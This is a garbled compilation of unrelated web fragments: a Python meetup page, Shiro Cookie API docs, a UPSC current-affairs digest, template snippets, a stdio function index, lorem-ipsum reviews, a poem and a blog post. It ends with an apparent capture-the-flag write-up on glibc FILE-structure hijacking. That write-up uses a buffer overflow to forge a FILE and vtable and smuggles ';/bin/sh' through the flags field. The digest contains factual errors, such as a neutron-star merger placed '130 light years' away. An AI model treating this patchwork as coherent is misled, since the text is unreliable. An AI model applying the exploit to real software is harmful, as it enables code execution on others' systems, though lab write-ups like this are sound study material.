Our Events
Talks
Description of talks
Weekly Office Hours
NYC Python Meetup Office Hours (No recruiters, no hiring managers):
Every Tuesday evening, 6:30-10PM at Fancy Hands, 135 Grand Street, 10013 http://fancyhands.com/
Saturday Study Group
This will be a weekly event, run by a rotating group of organizers.
Follow #NYCPythonMeetup for live event changes, and tweet here if you get lost.
Join the mailing list!
Sunday Study Group
This will be a weekly event at AlleyNYC, run by a rotating group of organizers.
Follow #NYCPythonMeetup for live event changes, and tweet here if you get lost.
Join the mailing list!
ABOUT US
About us
Welcome to the NYC Python Group, dedicated to promoting Python in the NYC community. This group is for anyone interested in Python software development, where all levels of knowledge are welcome to collaborate, learn, and share ideas. We hold a number of events each month, including tutorial events, nights-of-talk, lightning-talks, micro-hackathons, study groups, API nights, hack-and-tells, weekly office hours, and project nights. We typically meet on Tuesdays, Saturdays, and Sundays.
Our vision
We do good things.
Our Members
Organizing Committee
- James P: chair
<EMAIL_ADDRESS>// @dontusethiscode - Jon B
- Celia L
- Emily C
- Andy D
- Gloria W
MORE photos
Hosting Rules
Hosting rules
- Host must be able to accommodate >= 100 attendees, mostly seated, in a room with a projector. The session can also be repeated over the course of one month with 25 people per week, if your space cannot accommodate a large group. You must commit to accommodating 100 people, either over a month, or in one evening.
- There is NEVER ever a sign in sheet unless a building security guard requires and keeps it.
- To announce that you're hiring, sponsor food and drinks at a Meetup. This gives you five to ten minutes to talk about what your company does and your current open positions.
- Hosting gives you the same five to ten minutes of marketing and job plug time mentioned above, and your staff also gets to attend and mingle with the group.
- Hosting does _not_ get you a mailing list of attendees, nor does it give you the right to solicit attendees directly on a one-on-one basis. Your goal should be to encourage attendees to approach you regarding job placement.
- Recruiters attending these events must make it clear that they are recruiters, since these events are for developers, and are not for the purposes of solicitation.
- So many ask "Can I simply speak for ten minutes and announce that I am hiring?". The answer is no, unless you give something to the community. Everyone is hiring right now, and if we allowed this, the first hour of every Meetup would be filled with announcements of companies hiring. No one wants this. Consider giving something small to the community in exchange for the ability to announce hiring, such as a few lightning talks, an in-depth technical discussion, the purchase of pizza or beer for a Meetup, etc.
- Complaints of privacy violations or unwanted/unexpected solicitation, among other things, may get you banned from the group. People are banned in a fully transparent manner. The banning and the reason are clearly stated to the entire group, and usually happen after numerous complaints and/or blatant violations of the rules.


Package org.apache.shiro.web.servlet
Interface Cookie
-
- All Known Implementing Classes:
SimpleCookie
public interface Cookie
Interface representing HTTP cookie operations, supporting pojo-style getters and setters for all attributes which includes HttpOnly support. This allows Shiro to set HttpOnly cookies even on Servlet containers based on the2.4
and2.5
API (Servlet API 'native' support was only introduced in the2.6
specification).- Since:
- 1.0
-
-
Nested Class Summary
Nested Classes Modifier and Type Interface Description static class
Cookie.SameSiteOptions
The SameSite attribute of the Set-Cookie HTTP response header allows you to declare if your cookie should be restricted to a first-party or same-site context.
-
Field Summary
Fields Modifier and Type Field Description static String
DELETED_COOKIE_VALUE
The value of deleted cookie (with the maxAge 0).static int
ONE_YEAR
The number of seconds in one year (= 60 * 60 * 24 * 365).static String
ROOT_PATH
Root path to use when the path hasn't been set and request context root is empty or null.
 See Also:
- Constant Field Values
-
ONE_YEAR
static final int ONE_YEAR
The number of seconds in one year (= 60 * 60 * 24 * 365).- See Also:
- Constant Field Values
-
ROOT_PATH
static final String ROOT_PATH
Root path to use when the path hasn't been set and request context root is empty or null.- See Also:
- Constant Field Values
-
-
Method Detail
-
getComment
String getComment()
-
setComment
void setComment(String comment)
-
getMaxAge
int getMaxAge()
-
setMaxAge
void setMaxAge(int maxAge)
-
isSecure
boolean isSecure()
-
setSecure
void setSecure(boolean secure)
-
getVersion
int getVersion()
-
setVersion
void setVersion(int version)
-
setHttpOnly
void setHttpOnly(boolean httpOnly)
-
isHttpOnly
boolean isHttpOnly()
-
setSameSite
void setSameSite(Cookie.SameSiteOptions sameSite)
-
getSameSite
Cookie.SameSiteOptions getSameSite()
-
saveTo
void saveTo(HttpServletRequest request, HttpServletResponse response)
-
removeFrom
void removeFrom(HttpServletRequest request, HttpServletResponse response)
-
readValue
String readValue(HttpServletRequest request, HttpServletResponse response)
-
-


TABLE OF CONTENTS
A. GS1 Related B. GS2 Related POLITY 1. Plea to ensure OROP for retired judges 2. SC allows TN to increase Mullaperiyar water level 3. Need to implement progressive Acts: CIC INTERNATIONAL AFFAIRS/BILATERAL RELATIONS 1. ‘Free movement’ along Myanmar border C. GS3 Related ECONOMICS 1. Inflation at wholesale level slows to 2.6% in September 2. NIIF gets first investor, Abu Dhabi fund brings in $1 bn 3. Universal Basic Income is not feasible for India 4. Time for auto industry to go all electric SCIENCE AND TECHNOLOGY 1. Simply put: Now confirmed, mergers of neutron stars are factories of heavy chemical elements INTERNAL SECURITY 1. India in elite group with stealth ship D. GS4 Related E. Prelims Fact F. UPSC Prelims Practice Questions G. UPSC Mains Practice Questions
Nothing here for Today!!!
1. Plea to ensure OROP for retired judges
In news:
- A former Madras High Court judge has approached the Supreme Court for implementation of the ‘One Rank, One Pension’ norm for retired High Court judges.
Petitioner contention:
- There is disparity in the pension paid to those appointed from the Bar and those promoted from the subordinate judiciary.
- The petitioner has sought a direction from the Court to the Centre to evolve a formula “to obviate the disparities in the pension payable to judges drawn from subordinate judiciary and the judges drawn from the Bar in tune with ‘One Rank, One Pension’ norms laid down by the Supreme Court in the 2014 judgment in Ramakrishnam Raju’s case.
- Discrimination: there is no difference in the pay, allowances and perks between judges irrespective of the number of years of service put in and irrespective of the source from where they were drawn, it is highly unreasonable to make a classification between the judges drawn from the Bar and judges drawn from the subordinate judiciary for the purpose of pension, thereby creating discrimination.
- Null and Void: The petition also asked the Supreme Court to take the initiative to declare the provisions relating to pensions payable to retired high court judges in the 1954 Act as a “null and void” and rectify all the anomalies in the Act.
2014 judgment:
- When persons holding constitutional office retire from service, making discrimination in the fixation of the pensions depending upon the source from which they were appointed is in breach of Article 14 and 16(1) of the Constitution of India. One Rank, One Pension must be the norm in respect of a constitutional office.
2. SC allows TN to increase Mullaperiyar water level
Context:
- Mullaperiyar water level issue
In news:
- The Supreme Court declared unconstitutional the law passed by Kerala in 2006, constituting the Dam Safety Authority to prevent the State from raising the water level in the Mullaperiyar dam from 136 ft to 142 ft.
- A major victory for Tamil Nadu.
Judgment:
- Restrained Kerala from enforcing its law on Tamil Nadu.
- By enacting the law and fixing the storage height of the dam at 136 ft, Kerala had nullified the 2006 judgment and usurped judicial power and thus interfered with the judicial functioning.
- The Bench appointed a three-member committee with chairman of the Central Water Commission as the chairperson and representatives from the States of Kerala and Tamil Nadu to supervise and ensure that the water level in the Mullaperiyar dam was raised up to 142 ft.
Important observations:
- Constitution envisaged separation of powers among the Executive, Judiciary and Legislature and one should not encroach into the domain of the other. Independence of the judiciary and courts alone would ensure rule of law.
- Legislation could be invalidated on the ground that there was a breach of separation of powers in enacting the law, though the Legislature might have the competence to do so.
- The Legislature could only amend the law but could not invalidate a judgment or a decree passed by the court. The law enacted by Kerala legislature was an attempt to interfere with the judicial functioning, the Bench said and struck the law as unconstitutional and void.
Background information:
2006 judgment:
- On a suit filed by Tamil Nadu, the apex court in 2006 permitted the State to raise the water level from 136 ft to 142 ft.
- Within 15 days of the verdict, Kerala enacted a law and constituted Dam Safety Authority to prevent Tamil Nadu from raising the water level beyond 136 ft.
- In April 2006, Tamil Nadu filed a fresh suit to declare the law as unconstitutional. On Wednesday, after eight years the apex court decreed the suit in favour of Tamil Nadu.
Mullaperiyar Dam:
- The Mullaperiyar Dam or Mullaiperiyar Dam is a masonry gravity dam on the Periyar River in the Indian state of Kerala
- It is located 881 m (2,890 ft) above mean sea level, on the Cardamom Hills of the Western Ghats in Thekkady, Idukki District of Kerala, South India.
- It was constructed between 1887 and 1895 by John Pennycuick and also reached in an agreement to donate water eastwards to the Madras Presidency area (present-day Tamil Nadu).
- The Periyar National Park in Thekkady is located around the dam’s reservoir.
- The dam is located in Kerala on the river Periyar, but is operated and maintained by Tamil Nadu state.
- Bone of Contention: For Tamil Nadu, the Mullaperiyar dam and the diverted Periyar waters act as a lifeline for Theni, Madurai, Sivaganga and Ramnad districts, providing water for irrigation and drinking, and also for generation of power in Lower Periyar Power Station. Tamil Nadu has insisted on exercising its unfettered rights to control the dam and its waters, based on the 1886 lease agreement. Kerala has pointed out the unfairness in the 1886 lease agreement and has challenged its validity. However, safety concerns posed by the 119-year-old dam to the safety of the people of Kerala in the event of a dam collapse, have been the focus of disputes from 2009 onwards. Kerala’s proposal for decommissioning the dam and constructing a new one has been challenged by Tamil Nadu.
3. Need to implement progressive Acts: CIC
In news:
- Strengthening of governance: Chief Information Commissioner of India Rajiv Mathur called for immediate implementation of the Whistleblowers’ Protection Act, the Lokpal Act and the Lokayukta Act, which would strengthen governance systems further.
- Issue: Although progressive legislations such as the Whistleblowers’ Protection Act, the Lokpal Act and the Lokayukta Act have been enacted, the rules for these Acts have not been framed. As a result, neither the Union government nor States are executing these Acts.
Category: INTERNATIONAL AFFAIRS/BILATERAL RELATIONS
1. ‘Free movement’ along Myanmar border
In news:
- The Centre is putting in measures to facilitate free movement of Indian and Myanmarese citizens within 16 km along the Myanmar border.
- The Home Ministry held consultations with four States — Mizoram, Nagaland, Manipur and Arunachal Pradesh — on the Free Movement Regime (FMR).
- In June, the Ministry had constituted a committee to examine various methods to curb the misuse of free movement along the Myanmar border, a friendly country, with which it shares unfenced borders and unhindered movement of people across the border.
Parallel discussion:
- Parallel discussion involving the Ministry of External Affairs and their counterparts in Myanmar was on to allow Indian nationals going and staying in Myanmar under the bilateral agreement for up to 72 hours.
- Present situation: While India allows Myanmarese nationals to stay for 72 hours without visa, Myanmar allows stay only up to 24 hours.
1. Inflation at wholesale level slows to 2.6% in September
Key Stats:
- According to official data released, Inflation at the wholesale level has slowed down to 2.6% in September
- It shows a slowdown in the increase in food prices
- Growth in the Wholesale Price Index slowed in September from 3.24% in August
- According to the President of the FICCI, overall, inflation remains within RBI’s target area(4% to 6%) and this is an encouraging sign
- Inflation in the primary articles category slowed to 0.15% in September from 2.66% in August
- The decrease in vegetable prices was the chief driver of the decline in primary food inflation to 2.0% from 5.8%
- According to the Investment Information and Credit Rating Agency of India Limited (ICRA) , initial data has placed the index for crude petroleum at 55.6 for September 2017, only 1% higher than in June 2017,
- Despite the 17% increase in the average price of the Indian crude oil basket in rupee terms in the period
2. NIIF gets first investor, Abu Dhabi fund brings in $1 bn
In news:
- The Abu Dhabi Investment Authority became the first institutional investor in the National Investment and Infrastructure Fund’s Master Fund, with an investment of $1 billion.
Basic Information:
National Investment and Infrastructure Fund (NIIF)
- National Investment and Infrastructure Fund (NIIF) is a fund created by the Government of India for enhancing infrastructure financing in the country.
- NIIF was proposed to be set up as a Trust, to raise debt to invest in the equity of infrastructure finance companies such as Indian Rail Finance Corporation (IRFC) and National Housing Bank (NHB). The idea is that these infrastructure finance companies can then leverage this extra equity, manifold.
- In that sense, NIIF is a banker of the banker of the banker.NIIF is envisaged as a fund of funds with the ability to make direct investments as required. As a fund of fund it may invest in other SEBI registered funds
Objective: The objective of NIIF would be to maximize economic impact mainly through infrastructure development in commercially viable projects, both greenfield and brownfield, including stalled projects. It could also consider other nationally important projects, for example, in manufacturing, if commercially viable.
Functions of NIIF
- Fund raising through suitable instruments including off-shore credit enhanced bonds, and attracting anchor investors to participate as partners in NIIF;
- Servicing of the investors of NIIF.
- Considering and approving candidate companies/institutions/ projects (including state entities) for investments and periodic monitoring of investments.
- Investing in the corpus created by Asset Management Companies (AMCs) for investing in private equity.
- Preparing a shelf of infrastructure projects and providing advisory services.
3. Universal Basic Income is not feasible for India
IMF opinion on UBI:
- The International Monetary Fund (IMF) has added its bit to the ongoing debate on Universal Basic Income in India.
- The latest Fiscal Monitor of the IMF, in its analysis, used fiscal space equivalent to the cost of the public distribution system and energy subsidies in 2011-12
- It showed that this can finance an annual Universal Basic Income of Rs 2,600 per person
- It is equivalent to about 20% of that year’s median per capita consumption, with the estimated cost at about 3% of the gross domestic product (GDP)
Is UBI idea new to India?
- The basic idea of Universal Basic Income is not new for India
- The erstwhile Planning Commission had worked on it in the early 1960s
Why UBI debate started?
- Economists in the Union finance ministry published an excellent chapter on Universal Basic Income in the 2016-17 Economic Survey
- A large proportion of the population in India still lives below the poverty line and a number of government programmes providing subsidies and support to the poor are marred by inefficiencies
- There are leakages in the system, and often, people who actually need government support are left out
- Universal Basic Income is seen by many as an alternative to the existing system of subsidies, which is often associated with systemic inefficiencies
Reason’s India not opting for Universal Basic Income:
Fiscal capacity
- The Economic Survey calculations showed that a 75% universality rate with an annual Universal Basic Income of Rs 7,620 per year at 2016-17 prices will cost about 5% of the GDP
- Economists calculated that an inflation-indexed Universal Basic Income of Rs 10,000 at 2014-15 prices—about three-quarters of that year’s poverty line—will cost about 10% of the GDP
- Thinking: It is often assumed that resources can be raised by rationalizing subsidies and capturing a part of the revenue foregone on account of various tax exemptions, including in the personal income tax
- Reality: The revenue forgone in most cases is optical and the result of poor design. In any case, a part of it is now out of the system with the implementation of the goods and services tax
- Further, politically, it will be extremely difficult to roll back subsidies in order to create fiscal space for Universal Basic Income
Can create distortions in the labour market
- A steady, permanent and guaranteed income without any work is likely to affect labour mobility and participation
- It is also likely to increase wages, as has been witnessed after the implementation of the Mahatma Gandhi National Rural Employment Guarantee Act
- Problem: Higher wages without a commensurate increase in productivity will affect India’s competitiveness
- This could also have longer-term implications in terms of higher inflation and lower growth
Nature of Indian politics
- It is highly likely that political parties, in order to improve their chances in elections, would want to increase the amount of Universal Basic Income
- Or try to bring back subsidies in some form or the other, which will have fiscal implications
- India still has to prove that it can actually run balanced budgets for an extended period
- The political class always has this temptation to declare premature victories and give away fiscal gains
Need of the hour:
- India needs rationalization of subsidies, better targeting and operational efficiency
- It needs to move to cash transfers at an accelerated pace with the use of Jan-Dhan, Aadhaar and mobile
- This will help reduce costs and spare resources for capital spending to augment growth
- As history has shown, the best way to pull people out of poverty is sustained higher growth
4. Time for auto industry to go all electric
Context
- Electric Vehicles (EVs) and how government is planning to achieve its targets related to EVs.
Key Points:
- The government has been working to effect a radical shift in India’s energy production and consumption patterns to reduce dependence on fossil fuels
- According to last year’s National Electricity Plan (NEP3) forecast, India will achieve(ahead of schedule), the target of renewable energy being 40% of total power production by 2030
- The target was declared at the Paris Climate Change Conference in 2015
NITI Aayog’s report on mobility transformation
- The government intends that all vehicles sold in India by 2030 should be electric
- A recently released NITI Aayog report on mobility transformation outlines a feasible and phased approach to achieve this goal
- It presents the government’s vision of a shared, electric and connected mobility paradigm where mobility is a service based on an electric vehicle (EV) fleet, enabled by the convergence of
- (1) Low-cost technologies,
- (2) Smart designs,
- (3) Business model innovation and supportive policies
- The Central government is calling global tenders for the first 10,000 electric cars, of which a pilot phase of 500 cars has already been awarded to Tata Motors Ltd and Mahindra & Mahindra
- Among the states, the Karnataka government has taken the lead in formulating India’s first comprehensive EV policy
- The policy will support a complete ecosystem from manufacturing to deployment of charging stations
Why EVs are not popular in India?
- Due to range anxiety, high capital cost and long charging time, despite the obvious benefits of very low running costs and zero emission
Government’s plan for Public Transport
- Coming to public transport, despite a sharp increase in private vehicle ownership over the last decade, India still relies heavily on public transport
- The government plans to make public transport more economical and environment-friendly by promoting electric buses
- However, the current generation of electric buses with traditional battery technology are prohibitively expensive at four to five times the cost of a diesel bus
How to counter challenges related to EVs?
- One way is “Battery swapping”
- To help bring down the capital cost of electric buses, experts are recommending two things among the various solutions being looked at
- (1) reducing the battery size and
- (2) adopting “swappable” battery technology,
- It will help in bringing down the upfront capital cost while reducing the operational cost and charging time
- The Indian auto industry is actively working in this direction as it helps state public transport agencies to induct electric bus fleets without incurring too much additional expenditure
Benefits of connected vehicles
- The government’s agenda also focuses on developing an ecosystem to support the EV industry
- It will enable various stakeholders to stay connected, enabling a high-functioning ,EV-driven public transport system
- For example, an electric bus heading for the last stop can signal EV taxis in the area about how many passengers it will be offloading
- This ensures optimum onward journey options for the disembarking passengers
- Or EVs can communicate with refuelling stations about battery requirements, so there is never a danger of getting stranded
- These connected vehicles are also a necessary step towards the inevitable progression to autonomous vehicles
The Way Forward
- The auto industry has been growing at a steady pace and India is now becoming an export hub for small and medium-sized cars
- This leaves the auto industry well-placed to go all out on electric
- This is an opportune time for the auto industry to embrace the government’s EV push and collaborate with technology and mobility solution providers to capitalize on this opportunity
- It will hugely benefit the nation, economically and environmentally
Category: SCIENCE AND TECHNOLOGY
1. Simply put: Now confirmed, mergers of neutron stars are factories of heavy chemical elements
In news:
- European Southern Observatory (ESO) has announced the first direct, visual identification of the source of a gravitational wave
- Detected by the Laser Interferometer Gravitational-Wave Observatory (LIGO) on August 17
- This is the first time that such an event has been seen, rather than detected, and the output of numerous telescopes, terrestrial and in orbit, compared to identify a single source
- Radiations were detected in optical/near-infrared wavelengths as the counterpart of a gravitational wave source
Nobel Prize for LIGO scientists
On October 3, LIGO founders Rainer Weiss, Barry C Barish and Kip S Thorne were awarded the Nobel Prize in Physics for detecting gravitational waves in 2015, generated by the collision of two black holes
What led to this finding?
- In August this year LIGO, together with the Virgo observatory in Italy, detected waves from the cataclysmic merger of two neutron stars, designated GW170817
- Soon after, the Fermi space telescope detected a burst of gamma rays from the same region of space, which is a signature of massive stars in collision
- The ESO then organized the astrophysical equivalent of a manhunt, marshaling its own resources and those of allied organizations
- Its Vista, VST and La Silla telescopes in Chile, along with the US DECam telescope, located the source of light near the galaxy NEC 4993 in the constellation Hydra
- The signal was picked up in Hawaii and over the following weeks, about 70 observatories watched the event unfold when they were on the dark side of the earth
- The Hubble Space Telescope tracked it, too
What do the observations tell?
- The observations place the electromagnetic source at 130 light years away, which matches with the distance to GW170817
- It confirms that when neutron stars collide into a kilonova — a body 1,000 times brighter than the average Nova — it produces a gamma-ray burst and gravitational waves
- This enormous exercise has joined the dots between various forms of imaging events and objects in deep space
- Also, ESO’s experiment has established a much more important principle — that it is now possible to correlate the findings of instruments looking into the sky in different spectra
1. India in elite group with stealth ship
In news:
- India is rapidly marching towards indigenisation and the
- commissioning of the third Kamorta class Anti-Submarine Warfare (ASW) stealth corvette- INS Kiltan, is a classic example of that.
- Uniqueness: This ship is unique, as about 81% is built indigenously and is the first built by India that has a superstructure made up of carbon fibre composite material. This makes it a stealth corvette and makes India one among the few nations that have this technology or this class of ships.
- Built by: Garden Reach Ship Builders and Engineers (GRSE), Kolkata.
Key features:
- The carbon composite material gives it an extra stealth edge and also lowers the top weight and maintenance cost.
- The installed propulsion and auxiliary systems provides very low radiated underwater noise feature, required for anti-submarine warfare.
- The enhanced stealth features include ‘X’ form of Hull, full beam superstructure, inclined ship sides and use of Infra Red Signature Suppression (IRSS).
Nothing here for Today!!!
|
World Monuments Fund (WMF)
|
F. Practice Questions for UPSC Prelims Exam
Question 1. Consider the following statements:
- Mullaiperiyar Dam is a masonry gravity dam on the Periyar River in the Indian state of Kerala
- The dam is being operated and maintained by Tamil Nadu state.
Choose the correct answer
- 1 only
- 2 only
- Both 1 and 2
- Neither 1 nor 2
See
Question 2. Consider the following statements:
- World Monuments Fund (WMF) is a private, international, non-profit organization dedicated to the preservation of historic architecture and cultural heritage sites
- WMF publishes the World Monuments Watch two year once.
Choose the correct answer from the options given below
- 1 only
- 2 only
- Neither 1 nor 2
- Both 1 and 2
See
Question 3.Consider the following statements with reference to INS Kiltan:
- It is made out of carbon composite material gives it an extra stealth edge and also lowers the top weight and maintenance cost.
- INS Kiltan is indigenously built by Garden Reach Ship Builders and Engineers (GRSE), Kolkata.
Choose the correct answer from the options given below
- 1 only
- 2 only
- Neither 1 nor 2
- Both 1 and 2
Question 4. The Central Information Commission is a
- Constitutional body
- Regulatory body
- Statutory body
- None of the above
Question 5. “JIGYASA”, recently seen in news is a
- Interstellar exploration programme of ISRO
- Student- scientist connect programme
- Earth core drilling programme ot Ministry of Earth Sciences
- Biodiversity documentation programme in the western Ghats
G. UPSC Mains Practice Questions
GS Paper II
- “Independence of the judiciary and courts alone would ensure rule of law”. Analyze.
GS Paper IV
- Explain how ethics contribute to social and human well-being.
Also, check previous Daily News Analysis
“Proper Current Affairs preparation is the key to success in the UPSC- Civil Services Examination. We have now launched a comprehensive ‘Current Affairs Webinar’. Limited seats available. Click here to Know More.”
Enroll for India’s Largest All-India Test Series


{% extends "layout.html" %} {% block content %}
Play survivor online via Zoom.
Learn more »
Win immunity in online challenges and physical ones to avoid being sent to tribal council.
Official website »
Scramble via phone, Facetime, and text to whip your alliance into shape before the vote.
20 players, 12 hours, only one sole survivor.


This chapter comprises functions to manage files or other input/output streams. Among these functions are subroutines to generate or scan strings according to specifications from a format string.
The underlying facilities for input and output depend on the host system, but these functions provide a uniform interface.
The corresponding declarations are in stdio.h.
The reentrant versions of these functions use macros
_stdin_r(reent) _stdout_r(reent) _stderr_r(reent)
instead of the globals stdin
, stdout
, and
stderr
. The argument reent is a pointer to a reentrancy
structure.
| • clearerr: | Clear file or stream error indicator | |
| • diprintf: | Print to a file descriptor (integer only) | |
| • dprintf: | Print to a file descriptor | |
| • fclose: | Close a file | |
| • fcloseall: | Close all files | |
| • fdopen: | Turn an open file into a stream | |
| • feof: | Test for end of file | |
| • ferror: | Test whether read/write error has occurred | |
| • fflush: | Flush buffered file output | |
| • fgetc: | Get a character from a file or stream | |
| • fgetpos: | Record position in a stream or file | |
| • fgets: | Get character string from a file or stream | |
| • fgetwc: | Get a wide character from a file or stream | |
| • fgetws: | Get a wide character string from a file or stream | |
| • fileno: | Get file descriptor associated with stream | |
| • fmemopen: | Open a stream around a fixed-length buffer | |
| • fopen: | Open a file | |
| • fopencookie: | Open a stream with custom callbacks | |
| • fpurge: | Discard all pending I/O on a stream | |
| • fputc: | Write a character on a stream or file | |
| • fputs: | Write a character string in a file or stream | |
| • fputwc: | Write a wide character to a file or stream | |
| • fputws: | Write a wide character string to a file or stream | |
| • fread: | Read array elements from a file | |
| • freopen: | Open a file using an existing file descriptor | |
| • fseek: | Set file position | |
| • __fsetlocking: | Set or query locking mode on FILE stream | |
| • fsetpos: | Restore position of a stream or file | |
| • ftell: | Return position in a stream or file | |
| • funopen: | Open a stream with custom callbacks | |
| • fwide: | Set and determine the orientation of a FILE stream | |
| • fwrite: | Write array elements from memory to a file or stream | |
| • getc: | Get a character from a file or stream (macro) | |
| • getc_unlocked: | Get a character from a file or stream (macro) | |
| • getchar: | Get a character from standard input (macro) | |
| • getchar_unlocked: | Get a character from standard input (macro) | |
| • getdelim: | Get character string from a file or stream | |
| • getline: | Get character string from a file or stream | |
| • gets: | Get character string from standard input (obsolete) | |
| • getw: | Get a word (int) from a file or stream | |
| • getwchar: | Get a wide character from standard input | |
| • mktemp: | Generate unused file name | |
| • open_memstream: | Open a write stream around an arbitrary-length buffer | |
| • perror: | Print an error message on standard error | |
| • putc: | Write a character on a stream or file (macro) | |
| • putc_unlocked: | Write a character on a stream or file (macro) | |
| • putchar: | Write a character on standard output (macro) | |
| • putchar_unlocked: | Write a character on standard output (macro) | |
| • puts: | Write a character string on standard output | |
| • putw: | Write a word (int) to a file or stream | |
| • putwchar: | Write a wide character to standard output | |
| • remove: | Delete a file’s name | |
| • rename: | Rename a file | |
| • rewind: | Reinitialize a file or stream | |
| • setbuf: | Specify full buffering for a file or stream | |
| • setbuffer: | Specify full buffering for a file or stream with size | |
| • setlinebuf: | Specify line buffering for a file or stream | |
| • setvbuf: | Specify buffering for a file or stream | |
| • siprintf: | Write formatted output (integer only) | |
| • siscanf: | Scan and format input (integer only) | |
| • sprintf: | Write formatted output | |
| • sscanf: | Scan and format input | |
| • stdio_ext: | Access internals of FILE structure | |
| • swprintf: | Write formatted wide character output | |
| • swscanf: | Scan and format wide character input | |
| • tmpfile: | Create a temporary file | |
| • tmpnam: | Generate name for a temporary file | |
| • ungetc: | Push data back into a stream | |
| • ungetwc: | Push wide character data back into a stream | |
| • vfprintf: | Format variable argument list | |
| • vfscanf: | Scan variable argument list | |
| • vfwprintf: | Format variable wide character argument list | |
| • vfwscanf: | Scan and format argument list from wide character input | |
| • viprintf: | Format variable argument list (integer only) | |
| • viscanf: | Scan variable format list (integer only) |


Almost everyday I receive at least 1 email asking; How I became self-taught designer? If I can recommend any book, course? If I have any advise? Rather than keep replying those emails individually, I wanted to write this short post. I will be talking about design, but the things you will be reading can be applied to pretty much everything.
I will be talking about design, but the things you will be reading can be applied to pretty much everything.
Client Reviews
BREAK DOWN JOY / CO-FOUNDER, EXAMPLE.COM
A dolor, integer augue vut parturient elementum elit porttitor auctor sed dolor massa aenean pellentesque tincidunt lundium odio, adipiscing in porta augue vut. Odio auctor in pulvinar porta! Enim tristique pulvinar dolor scelerisque risus integer nascetur aliquam dapibus.
DOWN JOY / CO-FOUNDER, EXAMPLE.COM
A dolor, integer augue vut parturient elementum elit porttitor auctor sed dolor massa aenean pellentesque tincidunt lundium odio, adipiscing in porta augue vut. Odio auctor in pulvinar porta! Enim tristique pulvinar dolor scelerisque risus integer nascetur aliquam dapibus.
BREAK JOY / CO-FOUNDER, EXAMPLE.COM
A dolor, integer augue vut parturient elementum elit porttitor auctor sed dolor massa aenean pellentesque tincidunt lundium odio, adipiscing in porta augue vut. Odio auctor in pulvinar porta! Enim tristique pulvinar dolor scelerisque risus integer nascetur aliquam dapibus.
Activity Timeline
View your cellar's history as you add, remove, & enjoy bottles from your inventory. Share the wines you enjoy on Twitter & Facebook.
Powerful Posting
Looking for a mature wine or something specific? Cellar has an intuitive interface for tracking bottles down quickly.


Assign assessors to applications. You will need to confirm assignments before assessors are notified.
| Application number | Title | Lead organisation | Assessors | Accepted | Completed | Action |
|---|---|---|---|---|---|---|
| The potential for glucose based contact lens monitoring in the management of type 2 diabetes 123 | Wessex University | 4 | 2 | 1 |


He greedily soaks up the sun,
And the rain
Nourishes
Its budding youth.
The little green person
Frees his arms.

The little green man
Is strong.
Strong sun rays
Bathe it
In warm nurture.
The little green man
Gulps in the air,
And the water.

His arms reach
Stretched to the sky,
And his feet are
Firmly planted
In the soil.
He reaches for the sun.
Spring has come.


--- layout: post title: Lost My Christmas Mojo date: 2012-12-10 09:58:24.000000000 -05:00 categories: - Family Life tags: - Lost my Christmas mojo status: publish type: post published: true meta: aktt_notify_twitter: 'no' _edit_last: '1' dsq_thread_id: '1188598522' author: login: cint email<EMAIL_ADDRESS>display_name: Jacinta first_name: Jacinta last_name: '' ---
I think my Christmas mojo up and left.  Today was spent taking my car back to have the windscreen looked at as it was replaced the week before last and then started leaking. They ended up replacing it again to day as there was a fault (not before they rang me while I was off waisting time waiting at the shops, to say they couldn't initially find a problem!!), and of course it took longer than I thought, so yet another day is gone. We have two whole days this week that are scheduled power outages, so not going to get much done this Tuesday or Thursday either. Throw in a school Christmas concert on Thursday and a lunch at Greg's work on Friday and my week is over.
I try to keep my blog rant free, but I feel I could scream at the moment with so much to do and seemingly no energy, time or power to get stuff done. I think if given the chance I would crawl into bed and sleep for a week, but we all know that that is not an option. I have all but given up on my list of crafting I had planned as it will only stress me more if I try to cling onto the hope of getting things finished. However, I will endeavour to write Christmas cards tomorrow, as with no power, I'm sure to not have so many distractions. Hmm, well see.
I hope your week is being kind to you. Jacinta x


LOG NUMBER
The Pie Of All Log
Temporal Distribution
The Distribution of Timer In All Logs
Shareds And replicas
Shareds And replicas of All index
Info
Help YOU USE
| You Can View Log Status In This Page | ||
| You Can Import Log In Log Manager | ||
| You Can Search Data In Search | ||
| You Can View Log Details In Pandect | ||
| You Can Compare Graph in Map | ||
| Unfollow 5 enemies from twitter |


{% extends 'layouts/main.html' %} {% block title %}About{% endblock %} {% block content %}
WE ARE A GROUP OF COMPUTER SCIENCE AND ENGINEERING STUDENTS
A DREAM OF SOLVING PROBLEMS FACED BY THE HEALTHCARE INDUSTRY IN OUR COUNTRY.
WE BELIEVE THAT IN ORDER TO BRING A CHANGE IN THE SOCIETY, WE DO NOT HAVE TO BE SOME GOD GIFTED GENIUS OR A GREAT RESEARCHER, ALL WE NEED IS THE WILL AND DETERMINATION TO DO SO.
TO BRING IN LIGHT A FEW EXAMPLES


Arch: i386-32-little RELRO: Partial RELRO Stack No canary found NX: NX enabled PIE: No PIE
We have 4 option, openfile()
, readfile()
, writefile()
, so we can leak vmmap by open /proc/self/maps
Moreover, there is a buffer overflow vulnerability in option 5
We can overwrite the fp pointer trigger _IO_FINISH(fp) in fclose()
routine
int _IO_new_fclose (FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
if (fp->_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
...
}
Then we look at the FILE structure, make a fake FILE chunk and vtable.
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
...
...
};
struct _IO_FILE_plus {
FILE file;
const struct IO_jump_t *vtable;
}
make flag as \xff\xff\xff\xff;/bin/sh
, it will ignore unexecutable command before ;
